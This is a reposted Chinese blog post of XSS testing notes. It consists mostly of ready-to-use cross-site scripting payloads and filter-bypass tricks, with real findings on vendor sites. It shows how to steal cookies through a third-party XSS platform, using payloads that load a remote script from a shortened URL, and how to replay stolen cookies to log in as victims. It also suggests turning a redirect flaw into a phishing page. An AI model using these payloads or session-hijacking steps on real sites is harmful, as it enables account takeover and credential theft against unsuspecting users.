【转载】XSS小记

XSS小记


作者:fresh

0x00 引言x

当前的情况下,测试漏洞时遇到sql注入的可能性较小,但xss的可能性就比较大。
于是就把自己平时测试xss漏洞的一些语句,记录下来。附带大牛《XSS高级教程打包》 ,求轻喷!



0x01 要点

多结合输入与输出的值进行比较,达到闭合的条件。
查看输出位置:查看源码处与F12查看元素处,结合搜索功能快速锁定位置。



0x02 常用事件

script类
<script>alert(“xss”)</script>
<script>alert(/xss/)</script>//双引号换成斜杠
<script>alert(‘xss’)</script>//用单引号
<script>alert(“xss”);</script>//用分号
<script>alert(‘xss’);</script>
<script>alert(/xss/);</script>
<script>alert(“jdq”)//自动补全
<script>alert(“xss”);;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分号
<script>alert(“xss”);;;;;;;;;;;;;;;;;   ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//空格+分号
<script>alert(“xss”);;;;;;;;;;;;;;;;;       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//换行符
<script>alert(“xss”);;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//回车
 
On事件
On事件大全,平时遇到很多的xss黑名单的过滤时,我们就需要多使用一些不常见的on事件来触发。
HTML DOM 事件对象一览表,打开下列地址(即可获得):
http://www.ziqiangxuetang.com/jsref/dom-obj-event.html
总结一些常用于触发的事件类型有
Onmouseover
当鼠标指针移动到标签上时执行一段 JavaScript,如:<p onmouseover=”alert(1)” ></p>
onmouseover 属性不适用以下元素:<base>、<bdo>、<br>、<head>、<html>、<meta>、<param>、<script>、<style> 或 <title>。
 
Onclick
事件会在对象被点击时发生。<a>, <address>, <area>, <b>, <bdo>,<big>, <blockquote>, <body>, <button>,
<caption>, <cite>, <code>,<dd>, <dfn>, <div>, <dl>, <dt>, <em>,<fieldset>,
<form>, <h1> to<h6>, <hr>, <i>, <img>, <input>, <kbd>,<label>, <legend>,
<li>, <map>,<object>, <ol>, <p>, <pre>, <samp>,<select>, <small>, <span>,
<strong>, <sub>,<sup>, <table>, <tbody>, <td>, <textarea>,<tfoot>, <th>,
<thead>, <tr>,<tt>, <ul>, <var>
 
Onload
页面加载之后立即执行一段 JavaScript:
<bodyonload=”load()”>
 
onerror
如果在加载图片时发生错误则执行 JavaScript :
<img src=”image.gif”onerror=”myFunction()”>
 
ondrag
在 <p> 元素开始拖动时执行 JavaScript:
<p draggable=”true” ondrag=”alert(1)”>Dragme!</p>
 
onhashchange
当锚部分发生变化时执行 JavaScript:
<body/onhashchange=alert(1)><ahref=#>clickit
 


0x03 获取信息及xss平台使用

测试代码

测试弹框:alert(1)
获取cookie :
document.cookie
 
获取html中id的信息:
document.getElementById(‘header_search’).innerHTML
 
两者结合:
alert(document.cookie+document.getElementById(‘header_search’).innerHTML)



xss平台获取cookie


平常可能这个就是用的最多的方式了。
前提我们已经找到一个xss可利用的点后,我们现在可通过网上的xss平台或者自己搭建的平台来接受cookie。获取到cookie后模拟登陆
过程
—————————-
访问xss平台,在线免费平台(http://webxss.net/index.php?do=login)创建一个项目,自己命一个名。

选择默认板块,他将会给你提示,怎么使用,你可以直接在找到的地方如下进行利用即可,



如果遇到过滤、waf等,需要自己绕过后,将其中的src后的地址添加进自己的payload
如xss平台payload:
<script src=http://t.cn/RcJWDDP></script>


当过滤了<script>后怎么利用呢?
可以考虑如下:
<a onmouseover=s=createElement(‘script’);body.appendChild(s);s.src=http://t.cn/RcJWDDP>sss</a>


其他标签xss类似,只需将alert(1)改为
s=createElement(‘script’);body.appendChild(s);s.src= http://t.cn/RcJWDDP
即可

查看打到的结果:下图可以获得的信息有cookie值、URL地址、Reffer、远程IP地址



接下来我们又怎么利用呢?
可以使用k8飞刀的cookie登陆,
也可使用burp截断数据包,修改其中的URL地址与cookie信息,进行的登陆。


注意事项
—————–
当网站的cookie值采用httponly时是获取不到cookie的值。


0x04 常用的paylod
<img src=1onmouseover=alert(1)>
<a herf=1onload=alert(1)>xx</a>
<body/onhashchange=alert(1)><ahref=#>clickit (当锚出现变化时触发弹框)
<objectdata=”data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4=”></object>
“><svg/onload=alert(/1/)>
Input标签xss(autofocus自动触发,注意属性hidden时,无法触发)
112″ name=javascript:alert(1)autofocus onfocus=location=this.name
112″ name=javascript:alert`1`autofocus onfocus=location=this.name

富文本xss:
<span class=”yyy “onmouseover=alert(1);//”></span> 

markdown xss:

输入:[test](javascript://%0d%0aprompt(1);com)
输出:<ahref=”javascript://%0d%0aprompt(1);com”>test</a>

0x05 其他资源

富文本xss在年初特别火有许多的编辑器都存在相关漏洞,平时多关注最新的xss。
http://www.tuicool.com/articles/yIBNrmQ
markdown xss :http://www.freebuf.com/articles/web/58687.html
附件:XSS高级教程打包.rar



0x06xss挖掘实例
Input xss(曾发表在I春秋上)


最近在测试某厂商漏洞时,遇到input xss 情况,由于之前未遇到过,故分享。
漏洞存在职位搜索页面,burp抓取到的数据如下:
地址:http://xxxx.com/rps-xxx/position/show_position_new.htm?type=1
post数据:
pageNumber=1&type=1&jobAddress=&poTypeSecond=&groupCode=01&pageSize=10&searchParam=aaaaa


上处aaaaa标红的地方为输入的地方,正常查询后,审查元素结果如下:


经测试发现:

1.存在< ,即报错。        只能在input中利用
2.支持双引号                  可闭合参数
3.出现 onmouseover onload onerror 等号的内容不显示,如输入 ” onmouseover=alert(1) => onmouseover          测试发现onfocus可用,autofocus自动触发
4.过滤了圆括号() URL编码后也不能绕过,直接报错                采用外部链接
5.过滤了 http://                           ///替代http

参照网上大牛的payload:
xxxxxxxxxx”name=javasCript:alert%281%29 autofocus onfocus=location=this.name xx

直接利用是不行的,因为禁用了圆括号 包括%28%29
后续修改参数中 name的值
最终的payload如下:
aaaaa” name=///www.baidu.com autofocusonfocus=location=this.name xs=

效果是用户提交过后自动跳转到百度页面。
—————————–
这样的漏洞比较鸡肋,利用起来有一定的难度,个人觉得可用于钓鱼。
即:
跳转页面,换为一个模仿登陆口的页面,欺骗用户登录。
为了达到这效果,payload中的跳转链接,可使用data:text/html; 这样的为协议来达到效果
如:
aaaaa”name=data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4=autofocus onfocus=location=this.name xs=
———————————-
更新:鉴于有朋友提到,后面t00ls大牛提醒后,确实可以绕过
xxxxxxxxxx”name=javasCript:alert`1` autofocus onfocus=location=this.name xx
拓展文章:http://static.hx99.net/static/bugs/wooyun-2016-0167250.html


markdown xss


1、漏洞发现方式
因帖子回复支持makedown
在回复留言的地方回复已下语句:
[test](javascript://%0d%0aprompt(document.cookie);com)
即可植入一个存储型的xss


2、漏洞证明
测试数据已删除



基于discuz二次开发xss


遇到某src的bbs系统,是discuz的cms模板,其他发帖的功能与平时相同,但是他增加了一个插入应用的功能,如下所示:







触发条件:onhashchange当页面锚部分发生变化时执行JavaScript

当时是黑名单过滤了on相关事件,后利用比较生僻的onhashchange绕过,多尝试下,可以直接用onxxxxxxxx这类直接看是否过滤。


附件:《XSS高级教程打包》
链接: http://pan.baidu.com/s/1hsC0dlM 密码: cxux
——————————
欢迎大家多多交流!

blog:fr1sh.com

摘自: https://xianzhi.aliyun.com/forum/read/196.html?fpage=2

 

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注